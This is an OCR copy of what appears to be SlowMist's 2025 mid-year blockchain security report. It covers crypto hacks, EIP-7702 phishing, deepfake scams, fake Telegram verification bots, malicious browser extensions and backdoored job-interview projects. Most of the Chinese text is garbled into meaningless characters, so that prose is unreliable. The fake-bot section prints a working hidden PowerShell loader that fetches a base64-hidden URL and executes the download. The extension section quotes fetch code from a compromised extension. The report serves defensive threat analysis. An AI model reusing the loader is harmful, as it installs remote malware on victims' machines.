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2025 F R4, RREBTULASERERMFEN, WHEEAKETELE EFXNREEHE SR,
—FH, RERGFEER, APT AAKGFERETRRIE, REME, NESHIKREHZE, &K
EXRBFEREMAFEEREN. Z—FE, £REEMEEE SEBFNERAKBSRE

B, fE. REERPEFAEREHEHN. BEXINE REMEZRS RIEANEERESEH
S SR XBEMIRE SRTESMIMESLEINE TS DDMRBE TEBHR. BRI
259, BEREREEXATHEE, # L ERRARSHFERIMENFI iR, BEVMSKE
FENEEBREEY, AEREE5EREFEZEM NELLRSFEREBAERER.

ERNRREEZT EFUHREITE, 1EF(SlowMist) FHFEEBMHFR, WHEN, BERHARMENAX
FAERS EHERT, ARERE 2025 FLFFHEARRESEH . 2REERHLURELR
HEES, FEARSENTULMLE  REHARAREEARNTARERN. 5. EHRE
NHMREENSE, RAFNKEAIRG], WNSTAHIEEN,

— RRELZEDH

2.1 RESZHEM

2025 FEFF, RRFFEKIBEIGTBHTEHEKE, RIBEFTXREHFESHEERE
(SlowMist Hacked) IR SEL ST, LR EHEE 121 BREEH, ERIRKLN 2373 1Z2%x. X
L 2024 £ 4 (3£ 223 4, KN 143 2%5n), RSARAFHREFN TR, BEARKEFTHNE
I8 T 65.94%, GE: AREHFER T B4 RENURTME, BFTMNESN. BORAFE
HUREBRAFPHUBARNAASGITERR XERENETFRITER)



[SlowMist Hacked Statisticall:

Total 2025 hack event(s)

The total amount of money lost by blockchain hackers is about
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2025-01-01 2025-01-08 2025-01-13 2025-01-24 2025-02-15 2025-03-14 2025-04-08 2025-04-26 2025-05-15 2025-06-14 2025-06

(MMESHEF

Ethereum KA ZHEER X, XKL 3,859 FET, HRE Solana, %4 580 FET, B
#EH A BSC, ik 549 FExT,

(2Q)MIBEREF

DeFi ERE S RNHMERMETR, 2025 L3 4E DeFi KRL2EHL 24, SEHEH(121#)M
76.03%, MEBX 47 12%E5T, F 2024 EF 5 (F 158 4, KN 659 2%m), MERLL TR
28.67%,

HREXGTEEHRXEMH£ 11, BREASTMASIK 18.831Z2% T, HP Ll Bybit K EIHHZR N
FE BREBEHERY 146 {ZETMEK,

(3) MREHIRF

EFFEF2EEHMREEY 1 2%, AT+ RREHEHHITRK 2018 2% 5T,

(A MNEEHRRE

KEBEFIHHNRZEETHRS, L2 4 ERXRNEGORASBMZTEEH, X354,



2 BRIFFIK

BRTEERGTHESHDN, BEEREASN WA HWERERLE, UTE 2025 FLFFHEER
KNI RSB MEFFIE,

2.2.1 FI A EIP-7702 $9&

58248, —fAFE EIP-7702 HUREEBNERE, SEURKX 146,551 £, KEHAE
& Bk Inferno Drainer K2, HEFEFIA T EIP-7702 MIFTE M. BAKE, LhRFFEEINE

AXITAF R EOA Hhlit tN# N 7702 &9k, Bl delegated address FFIEEI @ b, M2 JLKAT
FATFTE B MetaMask: EIP-7702 Delegator(0x63c0c19a282a1B52b07dD5a65b58948A07DAE32B):

Internal T { Token Transfers (ERC-20) NFT Transfers Analytics Assets Cards New W Advanced Filter v
1F Latest 1 EIP-7702 Authorization Event
Transaction Hash Block Age Delegated Address Tx Sender Nonce Valid? ®
0x1ff12ceb1869f7d1b... 22509683 6 days ago 0x63c0c19a282a1B52 0xc6D289d55fE64227.. 706 Yes

MetaMask: EIP-7702 Delegator 0x63c0c19a282a1B52b07dD5a65b58948A07DAE32B

HNAFIAT MetaMask: EIP-7702 Delegator B BIHLHIESER 2 E & it B X token Bt =R NEY
& ERMRE,



0xc6D289d55fE64227A09E3120855ccBa0d2E606DC -
—

Victim Address
>
0xc6D289d55fE64227A09E3120855ccBa0d2E606DC (D) @

4 0ETH (30.00)
0.001387505999887128 ETH $3.46

4.060026686 Gwei (0.000000004060026686 ETH)

$2,526.90 / ETH
518,442 341,748 (65.92%)
Base: 3.090026684 Gwei | Max: 5.342706644 Gwei | Max Priority: 0.970000002 Gwei

@ Burnt:0.001056010439203632 ETH ($2.64) @ Txn Savings: 0.000438353310286584 ETH ($1.09)

Txn Type: 2 (EIP-1559) Nonce: 728 Position In Block: 282

Function:bytesSZ proposalld, bytes actions) ***

execute from MetaMask: EIP-7702 Delegator
ethodID: 9

0]: ©160000600000000P0PPVOOBLPEOPBABEVRRERELVAPBBEVEALEEREO.
1]: 1©0GEOLEEEOEREEREREAEALEEEEREOENROEVERRVRACVBEACRRAE0AARR40
2]: 10000V RORLELVOOBRVBOOBOR0RLOBLREPRAOB0REDRR0ARORORa40
3]: ©00P0EEROEPVBOPBEEAEEBERBOVAPBOBROAEA0REVEEEPVAPBEE020
4]

a

View Input As v & Decode Input Data View In Decoder W Advanced Filter

RPN ERHZAMUEH, BAREETF EIP-7702 HRMZIENFIZEE —— R EOA itk 7l
LIEEREENEY, FEERXTSUNEE (Nt ERIK, HHERR, gas KTF%H). MEH
PRl RRAE—TMEESY MEFEXE, NEAFFHIERRE -1 EANEL, BHH
EMIGREFAT SOMEYE, heBFERK, s, —LHHa T BT R AR ERNUE
ERIRBE, th N EEKBIET AR Z M,

BRT EREH, BATHEEZIELS EIP-7702 ZERNFIFEME ZLEXE:

o MAME BMEEOAEZRIERALUEMEREANEMNHARIREEFRMARIAEX
SHHMREMKAE, BEMAREEER EOATMABMBHIXR, XFAFENR, E5EH
FREEWNIKFE, ARG FAARPRES AL, BZIEE  Not your keys, not your
coins,

o ZHZIETMEARBA—H: AFEZXEZRENR, @Y chainld BEZREAIUAE
EEE, YARMA/th A LUERE A chainld 3 0 #ITRIE, XERSEREAUAESHLERK
AW UABRP—RELAAESHLHTZIR BFEIENRE A2 ELZREMAE


https://mp.weixin.qq.com/s/vlhTfGGs5oz8_SKRozpsXQ

— &AMt MATRFETRMINARB, AFONIZIE EFRELMER SN
it, EELORBHFREZHEE, NETREEZREMNBER.

o HTMBILPHINRIIE: XN FFHFRERY, E4F EIP-7702 EIAFM EIP-4337 @ #1T
EAERN, NZEEAERSHINIRICIREPHITNRELE (H1a1&T ecrecover R & &
B FHITREE ), LB RBRES DR CIRERLIRAXE.

o ENEZRTRMEMEMRDMRZ: AFAEMLA EIP-7702 ZEThEER, AITRRRE N IhHEE
FREE, REALEF, FEEFERITRMEL ML BEFRR SN FHEETTEERT
AEF (TR ELIH slot0 BEMTREARTRRENEIE), AEHZENERT, AR
RESBHSUEN ERIBEOMEKE BEM5IXK/HE. REREIXEFRER N TH
PRV, MiZEEAEEHREEMIR,

BRI, EIP-7702 BN EART R T A6, EHMURENEAERERHXRLR. AFE
LR, SHFERECENMIE. BHH L.

2.2.2 ¥ FRE hi& (Deepfake) TEYR

bEE £ E A TEERRE CERR, FIRRENE Deepfake) FARBITH EE R TFIR TEN

2, XRFMUARN, WEEFA A GRIENEMBTEAEIBA. XF TS B8+ 3 KOL
MEMARR, 5ISAXRNABRTRE HEALERREETRMET, FSZEERTH—D
RIANEIK, EAEE, XEEHEET Deepfake RREEZREEFRAFEISEE, ZRELR S

BB ETER KYC RE, BMEHKS., BRAS, SLENENFEFEEEREMEEE, &
FEBEAFEUHNEN. UTENLTTEMREYS:

(&R A5G| SR

RABARLL RS AT AR B4 AE", fl0, HFNKATEEFE RS B L HEE VR0 50E
fhig, A TH TR BAE PHNEREFE"



Fefrhr CEO B e "SR & " R R IR BT X F

QuantumAl

&

MY NAME IS ELON MUSK, AND | WOULD LIKE TO SHARE A UNIQUE
OPPORTUNITY TO MAKE SIGNIFICANT AMOUNTS OF MONEY EVERY DAY

- B

~——

f"

XEMINZ @IS X, Facebook, Telegram HFFEE&E, XMIFICTIREE & B A INBE BEEIRE, iF

JﬂF‘"—iE&%u%:ﬁ SHRFBERT. IMBEFAASNNEAL R EARE WRREE RE
it

BE 4o
g

(2) R F 7 12 F VF TR


https://www.zaobao.com.sg/realtime/singapore/story20231229-1458809

2024 ZF 2025 &6, FE. FrmgE A ML 2 1 Deepfake WK TFIRER . KL 2025 FHF
BEARRN—EBEGRG, Z2HAFE 3T A, SESTSA 3400 7i#x, 2EHEMHMIE.
AR, BRALEZPMIMER, XEALBEEFUTHES:

o FERAMETLELAFZARME, HEBBRNENSHRENE;

o T Telegram B XKE'NAEH R'ESEM. ERUFMERSHIELER;
e MAXK-SISHRAE-RIBERMWERFIRAFER ERBEE"

o RENFIZR., BRIIX. KEEHE ME'EXAE'WTEESTERR:

o REBEHN.RUTHKEER FSHERE HERSE,

REARSEE TR F %

[ n
o=l ¥ |l
B E AR P48 14 FUFE TFB BEERER
RIS EERE fEBTIAR AT EBRER i RS ROk
BINZEEFES ETREER

10]

(https://user.guancha.cn/main/content?id=1367957)
(3) Deepfake {4% Zoom =i

FIRE B A Zoom & X RERBRVGEE, SEFSTEFERIN'XWEE , ERWIESF,
B 5 =& " BEE M Deepfake MAMNENSERRAETR, FEREER—PaE. BNIE
T, —BEFE, EREBNALNEIEEHIRE . GMEmMIBRB A, BIicHE. Him,
Hypersphere & &1k A Mehdi Farooq E@—ESELEM# R TRERE, SHEARITNEE
AWELE, MEASERE, ZEHEIBTHE Telegram EIKE|—HI A “Alex Lin” ZERER,
FAHRBUAERERFH, BiFMSIN— K Zoom Business fREW, HEMEAR—HAAS
5, Farooq RAZEED, FEEN TEH T XN AIREM A RMA RER, £ WHE], Farooq EBEIMF


https://user.guancha.cn/main/content?id=1367957

w, NAKEN B’ EE#H Zoom &/ in, MiERX

ETHMREFREFETANERT, FER
Telegram EEEEIX, EZEWEMR SN
B Alex Lin kS RE#HE BIKRGTIRLSHEERRETA

bl

HEREHBEERBERAN, ]

Cos(FZ)
B EXEREARNZOE] @SlowMist Team @im2
REIRSR.XBEAZRT ...

HEZAENR:
BRMAERAE, MRRBFAMMEHEE,
BREFZALNE, BRIRTE. RTEH.

@ @evilcos - 68201

Hypersphere & SKAZER
Zoom RINFPIRE TSERE,

Foresight News jEE, INZEX&
Hypersphere RZE&{KA Mehdi Faroog
£ X FalE, HEEHE Zoom &Y
HEBWESHATMEREIKES, RE
ZHFRE, WEHEBRTFTHERA TAlex Ling
B Telegram £93%, WAHUSHARE
KINIRZE Zoom Business WA, HiffE
b TR TR ENERF. Farooq R, 51
HEEPRE{NEE Telegram A%

WX, EEFHER "HMERN, . BE
WABLKSEHRER, ETR5HE

E24EA Tdanarousbassword 1 Bx.

(} Mehdi Farooq & @MehdiFarooq2 - 6 H19H

EEIEREMNE

EEFERE. HRR5IFELER

—EHMETREE . BOHAN, WEEE
KXMEMZ, ERERITHIREE, NAMhET
RKHIBTREANER M, FEHIA EE

£3 “"dangrouspassword” & X Bk.

3pds REBUEAR, 1

XS ERBHIXERE T . MR ICIRE HAEE* N e i
WEEDERMBET., X8R

One minute | was prepping for a Zoom call. Ten minutes
later, large part of my life savings were gone.

It started with a message on Telegram from Alex Lin —
someone | knew. He wanted to catch up....

+ A
LS,

AREREIRE, CEEERK AIRERERMET, AREREEETBHRRETHIKEE, E7

HRAET, R, FHRITANEREDHBNESEF

BX .

E XS AT RERY Deepfake i, B L TFEI:

o TREHRT

o FERZTHE4ASR

B EHIHE B IR

", F Bl BT E L AR
o ZEELERRAFTSMENE=AESR" tﬁi%"ﬁ"?ﬁﬁ%ﬁé""?
WRHRBESIRRG KB R

FREER;

=3



2.2.3 Telegram {iz Safeguard Jm/E

2025 &%), KERAFFE Telegram T4 8% Safequard lifE, RASHASHEHIRE LS, Z
KIWBHLUFESAPHPTEMERFOEBEERBAZRD, EMRTER. 8 KOLMFEEHTR
TN, BIRmELREER, IMEEZRFEMIIR, thalEfE FOMO EEM B ARIE MBRR
—F¢*EO

HERFBREES NEMH, —FR R Telegram S, WFEIFSAFMAFIES, RIFE, &
ZE Two-Step Verification ZiBREFIE Telegram S, F—MHE2FHAFEMEAKRE, h2HI
REFE,

T EE e EBRE KOL M X KS, FEITERM L Telegram 8%, BERFMA K"
Telegram 4 LIRS IR RIE R, ¥ A% Telegram Channel f5, AP SH3IS#HTRIE, A Tap
to verify J§, R¥TFHF— M &RE ) Safequard bot, RE L ERIEFEFITRIE, ZRIUFE O FFELATH
B, Bt —MEaRk BERAFRERE,

Ethereum Foundation e Safeguard
Post

Ethereum Foundation @ethereumfnd
0. hello world computer, and welcome to the
new Ethereum Foundation X account

12 Q13K n & laday

Channel created

# Arbitrum ( v 3 ') % itrum 1 Ethereum Foundation
3. we approve this message Safeguard

Q 11 v, ihi €

> Ethreium Fuondation &% £
v stheriumfndn
5. Furthermare, our official VIP telegram channel

=4 Telegram DISCLAIMER

is now live. i

Join now to automatically qualify for Early

Adopter & Future Community Rewards. Human Verification

Ethereum Foundation is being
Limited to 5,000 people: & protected by Human verification through Safeguard Portal
not available on Mobile devices. Press

Click below to verify you're human. 'Disclaimer’ to view more information.
: ey -
’ Ethereum Foundation
v t.me Tap to Verify Powered By:

You joined the channel
DISCLAIMER

#Emt FR'BEERRIFEY RAULAFPFHIRIEMBERFEHAT:


https://mp.weixin.qq.com/s/2Y-yKvTNQSTxkBADGywMHg

Safeguard

@ Safeguard Portal

= Safegu
"! 4

To protect against phishing attacks and
malicious applications, please follow the
verification steps below.

N ' Step 1

Click == Windows + R to open the '"Run’
dialog box.

Step 2

To securely verify through your own
Telegram, press CTRL + V to paste
'Telegram' into the dialog box.

- Step 3
Verification th

portal to com Finally, simply press Enter to authenticate
your account and you will be automatically
redirected to the desired group.

Waiting to process manual
verification..

Aunthenticatio

ImF1R" M thEZE T Stepl, Step2, Step3, LR AFMEMIREELEBERRE, WEAFEM
REBIERITIEITIE, 3 Cirl + VIERER BRSNS TIER, HRKSHRINTHE, 75517
EEHEFRILBAR, —KAEEMHTER Telegram FHEBERADB, XETEEABEER
Powershell #§ %5, HITESBTF BRI TRE E RMBERE, RAFEBMBRLTEZHAD (N
Remcos) . — B BBIN#E A DiEH|, REFERETREGIEMPMRa . BiciE,. . BB%

BRER, EEHRTEFTED,

powershell -w hidden -c $a='aHROCHMELY9yMTIkMTIuc3BhY2UvYi5@eHQ=";$b=[Convert]: :FromBase64String($a);$c=[System.Text.Encoding]: :UTF8.GetString($b);
$d="iwr $c | iex";Invoke-Expression $d; # Telegram

X

Windows SARIBEIRFG NS, SIRFITFFHEMER. Ut
& s o Intemet 8.

HTFFO):. [m [

WE(B)...




MEZFINLITHN, BFE—T T EF Telegram R :

\

Safeguard

Safeguard Safeguard

What can this bot do?
The most extensive security and buy tracking

platform on Telegram Q

Powering
Announcements:

S

NS

Manual Verification

Manual Verification

Verify your User Authenticity Below Verify your User Authenticity Below

Today

Powered By: Powered By:

Istart oq.46

sateguard Portol Authentication Required Enter Phone Enter Code

Telegram code:
5666

Send code

Enter your phone number:
@ +86 18020218892

Send phane

Verification through Safeguard Portal
required. Please use the portal to
complete your verification,

Tap to Verify

IRFZ Windows BN, ME Mac BN, h—HARLUMNAXKFTSAFWERFE, ERRE
. IR E BT IR WRBERD, BWILARILTHEE:
o FMFTAMANMARE, AFiAEBES L,

o FRAAALBMERIMNKSEL. 2FA, BIEHFHE. XS TFE. Telegram F;
o MWEEFHERS FE M Bitdefender, Kaspersky, AVG E£Z W RXETE#TEEER,

224 EENKEH/YTE
EENSEy B —EEMESE e RMRET s —, KEEETHER ‘Web3 BE T

' R AEE g EHNG, IR RFETHRIEGRANNREE EEFSRAFMTHRE
15, ERFERMEREMRRME,

MHEREIENNETE



AP @0xmaoning FHRFE X LEXRIEFTREHE, MEEFEAXNKEIRYT B Osiris" HAIMT
NEESE RRERE Za0B, 2RNEALDT, BINZT BEEX#HIEHA/ THRIERE, 515H
FEFRMBEABERAT TEAREEERERF, ERMERFREK,

=) Ox3E7 | Crypto & Al &} @0xmacning - 5/)\i Onefly.eth
S RE) AT R BB, {F FENERNEEE)
RET—EEEHENE, ERERRE, RECEARRT, SHEM EREVCTIERE

ZHNE—TF, BREEARA @
0 ) 34 ¥ [l & EAINEFSER—L0E (notion,
. . obisidian) BT & HEE
)\ 0x3T | Crypto & Al &4 @0xmacnin: - RMER THthE THADHES
HPaNLERE, ARSILhE
BETREERAK

S SHICobioh MG ot 2118 ST RIS B RN T EEFE
AZ—SSBENREMEEZT! A BEANASHIESS

SEROEH, REFFHAPRE "
RIERBIRIRE, KGR TR EH

KHROKH], O@tokiearisu KA, HAEHDEHE, SREM—TEEI... ABATHREEFEREMEN THEEAAR
RS
Download our tool at the link and write ;Tﬁﬁ_h%ﬂf%ﬁﬁﬁﬂ:rﬁ !

me, I'll help you with the setu Dand you'll
be fully ready to ge! started hitps . .

hromewebstore.google.com/detailjosiris/ =

FRZZIMEE
— why the install is .kmo EJU)‘-ETJLEE IJ\

Osiris - Chrome Web Store - e E

Defense for Your Digital Treasures it's keepass
) - 72

B Fal - e S
downloaded We use dmg files, check in your browser ﬁ_IE K%xﬁng‘E*{LEH&E #-iﬁﬁ«‘i!fﬂ:é%)fﬁ
Can you send me a screenshot? history, you have installed the dmg file ,_";Lglg uE 9.35“]
| L | THBINE AR THTXATF ARBET
WERRFER TR

egigppochgnajpgyihplefgpamdf

o

I you don’t believe me, try installing notion

XA BAER— 1T 'Web3 RE T B, FHal LB AF RS AMES, BELEE. IETH
S HEERRERBENUHRTFEUHNERA MARNREEELREGAF,, REXHRE. —BH
FPRETZTE E2ABANERMNENMED, MREENTERRSBMBEMNEFTREEAN
HANEIRIX EBMJ”'J'?%I??‘EETFE?E exe, .dmg. zip EXEMTHIER, AEAMERAFETEHMY
RN HBRAKEFBERER,

RBEMWE, XWEELERSISRAFHR—ERXEESATIMEM, il Notion, Zoom %, HH
%iﬂfM'E‘WJ'F?J? LA, ERLTERTRVWELZHEBRENEERERF, EXHI/OTEE
BRETEKAR EM, ILABRERERE,


https://mp.weixin.qq.com/s/YV1og7wtAwcoDo4OCXsNfQ

B NotionWorkspace 3.7.22 RC1_experimental featureFlagX ena... (2] (] X

¥ A8 https://www.notion.com

XLEBERBLITEA AP BN XEBEHIE, 21F Chrome X 2B K2 HE . Keychain 25406
ZHRER, HF LAEREERFMNRSH KEEHEATUSEMXEHIERRERREZEEN
BiiciE, AARBRER, MMEHE—TERAFMMER>, EEEEEXSHK,. #tXFEE

)\KF%O

Chromium FileGrabber keychain username

(2)Chrome $H#E#H Eik

B— BB EH|2H AP R % Chrome 518 R BB Y86 4 SwitchyOmega 7778 K EVFA LA R
ZHHEAR, ZREABHIEE RN, BE 2024 FHEHHERLIZE, IRAERIE 260 5
PHRHEEF-BHSIRRE KESMEEFEE RENEN Google BAEL, FSHE
AEHESEFERUER OAuth B, SBEARMNKBFEHIALERDR, KEGIRAS
N Y2589 Cookie FIEBH LEERHERS .


https://mp.weixin.qq.com/s/81vZGmxiOe_aXGD6AphlCg

Chrome Web Store

Hithere,

We wanted to let you know that your item is at risk of being removed
from the Chrome Web Store. Please see the details below.

Item name: Cyberhaven security extension V3

Item ID: pajkjnmeojmbapicmbpliphjmcekeaac.

Violation(s):

Excessive and/or irrelevant keywords in the product description:

« Violation:
= Unnecessary details in the description
+ Relevant section of the program policy:
= We do not allow extensions with misleading, poorly
formatted, non-descriptive, irrelevant, excessive, or
inappropriate metadata, inciuding but not limited to the
extension description, developer name, title, icon,
screenshots, and promotional images.

The Chrome Web Store requires all developers to comply with both the
Developer Program Policies listed below and the Developer Agreement.

Please accept our policies to continue publishing your products.

Go To Policy

We value developer contributions to the Chrome Web Store, and look
forward to helping you bring your item into compliance with our policies.

Thanks,

Chrome Web Store Developer Support

W2 aE:

o BRI AEHEREFMHIEEERE RIT 4 7 Privacy Policy Extension’#J OAuth BRI ;

o INTHFIRENFF K H A Chrome Web Store i F 2 HI4X ;

o LEAEBERBHFMAEN RASF 24.10.4);

e FIF Chrome MIEsIEHALAH, LLZEMMAAERMEHNERTEIEHNIBEREK;

o EBEIBETI workerjs XU EREGT 5124 (C&C) RS %/, THEEFFHHFHE
Chrome BIAhEME T, BT, SEMEITSES, BUTE B contentjs BIE &,



t t = await fetch("htt
method:
headers: {

json, applicatio

: "application/json",

hrow new Error( HTTP error! Status: ${t.status}’);
ait t.json();
t chrome.storage.local.set({
cyberhavenext_ext_manage: JSON.stringify(e),
) I
console. log("Data successfully stored!");
} catch (t) {
console.error("An error

H();

AEEBMALLHERE 31 /MERA, BHEBIEREERERE, ATHEGAMERRER, X
HoRAPTEREBRIBHEHEER, FEXLRI, Google BIEFER 30 RAKY BBERHEF X
¥, GRS Z KRS R



Other Browser Extensions Possibly Compromised in Broader Campaign:

[Nome — = Varsion [ Paich | Usos

VPNCity 201 10,000
Parrot Talks 1.16.2 40,000
Uvoice 1.0.12 40,000
Internxt VPN 1141 1.2.0 10,000
Bookmark Favicon Changer 4.00 40,000
Castorus 4.40 4.41 50,000
Wayin Al 0.0.11 40,000
Search Copilot Al Assistant for 1.0.1 20,000
Chrome
VidHelper - Video Downloader 227 20,000
Al Assistant - ChatGPT and Gemini = 0.1.3 4000
for Chrome '
TinaMind - The GPT-4o0-powered 2.13.0 2.14.0
Al Assistant! il 0800
Bard Al chat 1.3.7 100,000
Reader Mode 1.5.7 300,000
Primus (prev. PADO) 3.18.0 3.20.0 40,000
Tackker - online keylogger tool 1.3 1.4 10,000
Al Shop Buddy 273 4,000
Sort by Oldest 1.45 2,000
Rewards Search Automator 1.4.9 100,000
Eamy - Up to 20% Cash Back 1.8.1 10,000
ChatGPT Assistant - Smart Search | 1.1.1 189
Keyboard History Recorder 23 5,000
Email Hunter 1.44 100,000
Visual Effects for Google Meet 313 324 900,000
Cyberhaven security extension V3 | 24.10.4 24105 400,000
GraphQL Network Inspector 22286 2.22.7 80,000
GPT 4 Summary with OpenAl 1.4 10,000
x:::zzs:l:r: Video recorder & 1.0.161 6,000
YesCaptcha assistant 1.1.61 200,000
Imey SwitchyOmega (V3) 3.0.2 10,000 I
ChatGPT App 1.3.8 7,000
Web Mirror 24 4,000
Hi Al 1.0.0 229
EditThisCookie 1.4.3.1 50,000
[ToTAL 2,652,418 |

Table data sources.? *

Xt PRI W

o AMEARETEEMN, & AEFARANFAM AR IR

o ZFNRFER, LHZIHRIZIR. ZWHEEBMITKIERIEK ;

o EHAHE A chrome//extensions/ R EREMHIRES, BERXINZF R AN,
TERERGFIITEHEH, BBEW MistTrack FTE, BiEmMZER=a08E EiRE,

NFRESFEAHEL:



e /N5& Chrome Web Store XfilK &£ (ANFFE 2FA) ;

o Xt OAuth MARRPCEEHEITHERHI;

o KIERRAZRZMG, PHLLEHERMERPHEER;

o NWFEMEREY BB ABRRHZESHRIENG, FEHKBFIT;
o EBIUFHRMHE, K ENEHTH, RAFEFE—HNATEHLE,

2.2.5 LinkedIn {BEEY &

2025 F LK, UBENA . EABRERBMERESZ LFES, LHA Linkedin FH 43X F
B LR, AT AN RS, ZREREERATLEE + BETFWASKRE,

BREERS.

¥ ERXRETE A, B Linkedin EHBRFRZEE, FLUBHRERBEETMENH, REK
ROBNE WARBLT —TEEPEXZNFT, KH., B SXFNET —AeIXREE
HRTEE EEREURIL, EECHE Figma RiTHREE, UR'BMNELESETRHEEERENT
BN, NERZMEMATFAR AN T, IEBLRITHABTUEERMEELIREGEREE,

:;uwll?erma Jones e O Y

6 Guilherme Jones
Hi Bruno Skvorc

@ Add to folk

other players 1o earn token rewards for your skills.

You can check out the MVP v2 design here: https:jjwww.figma.com/design/MBI9Hrcm30KOnivRarihdd/Cryptoasis-MVP-V1?node-id=0-1&p=1&t=ELICRJESMLJWOYVb-0

| have already hired backend and smart contract developers
| would like to recommend you as a project manager or blockchain and frontend development team leader.

| think with your background and experience, you can help me. What | mean is your experience will be valuable for me
You are quite a man. A real inspiration for me. | know you didnt expect to have me around but | believe your skill is very perfect and suitable for this project. So I'd like to work with you. Okay

@ process of our co
round o
"
i

ERINSERERE NARHARMBERRE . EREE. ALEENANERER. RiEE W
FEBDBFEERBRE, FA:ERME—1 Bitbucket B MR BLEEE, FHERERIEAT
BB B ARG ESS

o


https://mp.weixin.qq.com/s/gWNnKinROb6TyWwAEv5JGw

C [ 2% https://bitbucket.org/ventionteam/gameplatform/sre/main/ T

I Bitbucket

gameplatform

17| gameplatform

Ip main ~ Files v Filter files Q
) <> Source
W/
$ Commits
Name Size  Last commit Message
is Branches
B client 2025-02-19 init
T‘; Pull requests
| config 2025-02-19 init
Pipelines
O Pei
I controliers 2025-02-19 init
Gp Deployments
3 irai - middleware 2025-02-19 init
' Jiraissues
O securtty M models 2025-02-19 init
EI Downloads - pokergame 2025-02-19 init
B outes 2025-02-19 init
I socket 2025-02-18 init
B s 2025-02-18 init
[:—j -gitignore MB 2025-02-19 init
a README.md 208 2025-02-19 init
[:ﬁ config.js 3768  2025-02-19 init
[a package-lock.json 296.53 KB  2025-02-19 init
E package.json 117 KB 2025-02-19 init
E Serverjs 617 KB 2025-02-19 init

REEBTRRBE, FELTHESRE, packagejson X RAIUEFEEILRB, serverjs K5
MRS ‘ﬁfJ..IE.% BEEEFMRGHREFZRMATE —— LME—THRBERTKEZR
PE, BEXAKERE BIFEEXRINBEZEMER payload, £33 SlowMist 247, %
payload f Fi Base64 éﬁﬁ%, HERRATZEZEFZE, KB—BET, FiLREEERSS
(C2), FEFHATAAN XXM .npl (A TLEER) # test js (A FHIBGHE .



@ Chwome ¥R HWW B HPE8 FE TANR &SEN EO0 "B

o WEXHER MFEE.AFL. THFBE,;

o FREUGFHMITIZIEHE BT,

e F|H child_process.exec EFIBERF;

o [FHRER (BIENKBEMHEE. SSHFAEA. RS Keychain %) B ARMEIT%;
o ENFAERE EHREDHT, UEFEIIFEKRE;

o {AEBIERE, ALINEET AN Little Snitch EARMFFAIETE,

ERHENZE XEBNHFEEFIFAESE—FRENEHERETH, SBTFSZEEEEAFBEK
RELEXR, M—BEREERSERAFE U Keychain FHBIZASZHAER, MBE~HEIG
MELEZE R,

Linkedin ER T W#HRTE, KNS RAESBEABRIRKRZUHFE, AMXHFEEETEER
WEHEEF A, BF(SlowMist) IREEI KFRE, N2FRTGITHEHRB" . "Rt TN
W, “RWIFESITRS MESER, BNSEES HENNEELRERIT, FHEBII Hook
ITESWTA.



226 X ITEXEH

2025 F b FE, R IBREEMBTULHEER, REFERRFHA. Bk LEHREETE
REMX PR A 5 SV R R A VEIRRI B, BIRT5ZxiE, B, Coinbase AP E @M THE LR
A, BEYLIE, K2 Coinbase AFRMEZEI'EATR KR, HAHESHASHRAMBE YL
#%®a',5 A8 158, Coinbase EAKMmAE, IESN'NSMAASRLUHERFER", FRRFEEESE
EREROOJ) #THE, BELERETR REEIHERENERARRRNRENE, GRT
B, it FETERNMKYCER, EXRERAFED. MA5EKIARH, BERUXE—ES
ELLEMERTIE, IFIREEZER Coinbase FE 2000 FETES,

coinbase MEHET A

BT HA

o PR Hehb, BIEFEFHRY

« REMRS ((NREE 4 I3F)

» RENRITIKSH— LRI IR

« BFSMITHER (F12, SRHE. £E8)

« MRFPEEE GREIREMNZZHEICR)

« BROASEE (B5E3E., SRR TS CEERNERE)

g BR/EtA

« BRI 2FA S

« T

o (EOEBRRNEF AENEED
« ifii8) Coinbase Prime Mk~

« Jh1a1{E{d Coinbase B Coinbase EFHAE A SEE

ETH, HEFIRE S Coinbase AFRLBEIZET, ERANSSNEILEMNER Com B
HEEAEX ARESEREL TEEREXERFEF BREEXNE NEEHET, EFRe
BREEOE:

(MHEEAFRRERS


https://mp.weixin.qq.com/s/1LQMhOCyza0OHy5iJWcZLw

WihiE BT PBX REih&E Coinbase BEASWBIRITRE, FlE KF KR " ZKFE, RITREHNE
ERF AR EM T E R TR, 5ISAP AT REMGE AT KSR E ",

M Gmail

Coinbase
2 messages Scam!

Coinbase Support <help@coinb|ase.com>
Reply-To: Coinbase Support <no-reply@coinbase.com>

To = -.lgmail.com

(2) FS A RB A
SURPRT N, HBIEI R A Coinbase Wallet 35S BT A= A — M ERE AR S,
(3) IR A TR BN

E£GFSHBHICETR, REEERREEMRMEICHE, 5ISAFER'EAFHRE. £
R,

(4) 1RE FBUA =

—BRAPERETEY, BREBWILANEZE, &85 B4 E4E:1E Coinbase RiIFA IR ERIEER
R, FE4 A 1 BEITERAS BRI F6iE @R REk,



1. fiction 2.absurd 3. enable

coinbase e e

7.clump 8. 9.
M.
10. 12. clever
As of March 14th, Coinbase is
transitioning to self-custodial Step 1: Set Up Your Wallet
wallets. Following a class action « Download Coirbiase Wallet:as a
lawsuit alleging unregistered mobile app or browser extension.
securities and unlicensed operations, * Import your recovery phrase by

selecting "l already have a wallet."
the court has mandated that users 2 i

manage their own wallets. Coinbase Step 2: Transfer Your Assets
will operate as a registered broker,
* For each asset, click "Receive" in

allowing purchases, but all assets )
gp ) the wallet app/extension.

must move to Coinbase Wallet. « Select "Receive from Coinbase."
¢ Choose "Add crypto with Coinbase
Your unique recovery phrase below Pay."

is your Coinbase Identity. It grants Transfer all assets via Coinbase Pay.

access to your funds—write it down
and store it securely. Import it into
Coinbase Wallet by entering each

No Time to Wait

Act quickly—the deadline to transfer

your assets to a self-custodial wallet is
word followed by a space. April 1st, 2025.

Loy, MEFEERFER @spoofmailer_bot T B A& Coinbase B A HBFE, 18I R W M K it 55 45
#& (3n"5K COINBASE US2", “100K_USA-gemini_sample”) it EX B, 2 & ChatGPT T E#it
EFXBBEHEREEANS, UKD, FE. BENE—IRE, FRXEBETRILFT—STEA
FERF o

KEARMHE TIFRESRT FTEREERG ARNHE: BEZERENR, E2NREEEA
BB RE, EFEFEAREKR. REEFCHERT, MARFRSBARHNA 2 ERKEZETK
R, BRFATIULREFRAIEE,

227 KM Al TEEIESES

2025 F L F, BANDMLET —EFE'MES. EHERZE, — el LEHTEHRER A
ERNR”, HUESOPHRAIMERE T —TREAES i, SHEMRASFRZMUEE. RX



REHRATRNEEREA, EATEMACHRETRITRE, FXEATZ A BCEN, M
B FRIFH review, KBRRIEKAERTHHEE, BRSHEIEHIA, BE—RBAER.

ﬂ Cat f e
=y @0xCat_Crypto

{4 Translate post

